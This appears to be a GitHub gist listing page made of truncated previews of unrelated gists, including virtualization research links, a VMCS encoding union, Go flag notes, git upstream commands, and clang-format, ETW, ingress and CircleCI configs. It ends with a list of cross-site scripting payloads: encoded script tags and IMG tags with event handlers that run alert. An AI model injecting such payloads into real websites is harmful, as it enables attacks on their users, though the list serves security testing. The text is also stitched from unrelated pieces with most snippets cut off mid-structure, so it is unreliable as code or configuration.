Ayoub Faouzi ayoubfaouzi

This gist gathers resources that can be used to get started with virtualization (security) research and to get a deeper understanding of virtualization internals.

Virtualization Basics

VMCS field encoding

Values of VMCS fields are encoded as per section VMREAD, VMWRITE, and Encodings of VMCS Field (24.11.2, Intel Manual Volume 3C - May 2018).

This encoding can be transcribed into C:

union vmcs_component_encoding
{
 struct

Fluent-bit rocks

A short survey of log collection options and why you picked the wrong one. 😜

Who am I? Where am I from?

I'm Steve Coffman and I work at Ithaka. We do JStor (academic journals) and other stuff. How big is it?

Number	what it means
101,332,633	unique visitors in 2017

Three approaches...

Flags are known up front. 👌🏻
Flags are defined by user (ugly data structure). ❌
Flags are defined by user (dynamic struct creation BUT doesn't work fully) ❌
Flags are defined by user (dynamic population of a struct provided by the user) ✅

`flag.FlagSet` ?

Note: the trick to understanding flag.NewFlagSet is that you have to pass it a string of command line args that you need it to parse. flag.Parse is able to do this automatically for you, but a flag set is expected to work with a subset of the arguments provided to the program when it's being run. The way I typically do this is as follows...

In your local clone of your forked repository, you can add the original GitHub repository as a "remote". ("Remotes" are like nicknames for the URLs of repositories - origin is one, for example.) Then you can fetch all the branches from that upstream repository, and rebase your work to continue working on the upstream version. In terms of commands that might look like:

Add the remote, call it "upstream":

git remote add upstream https://github.com/whoever/whatever.git

Fetch all the branches of that remote into remote-tracking branches, such as upstream/master:

git fetch upstream

	AccessModifierOffset: -4
	AlignAfterOpenBracket: AlwaysBreak
	AlignConsecutiveAssignments: false
	AlignConsecutiveDeclarations: false
	AlignEscapedNewlines: DontAlign
	AlignOperands: true
	AllowAllParametersOfDeclarationOnNextLine: false
	AllowShortBlocksOnASingleLine: false
	AllowShortCaseLabelsOnASingleLine: false
	AllowShortFunctionsOnASingleLine: Inline

	[
	{
	"ProviderGUID": "72d164bf-fd64-4b2b-87a0-62dbcec9ae2a",
	"ProviderName": "AccEventTool",
	"ProviderGroupGUID": "4f50731a-89cf-4782-b3e0-dce8c90476ba",
	"AssociatedFilenames": [
	"accevent.exe",
	"inspect.exe",
	"narrator.exe",
	"srh.dll"

	# ingress-values-dev.yml
	controller:
	replicaCount: 3
	config:
	ssl-redirect: "false"
	hsts: "false"
	hsts-include-subdomains: "true"
	hsts-max-age: "0"
	client-body-buffer-size: "128k"
	disable-access-log: "true"

	##################
	### config.yml ###
	##################

	version: 2
	jobs:
	build:
	docker:
	- image: circleci/python:3.6
	steps:

	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">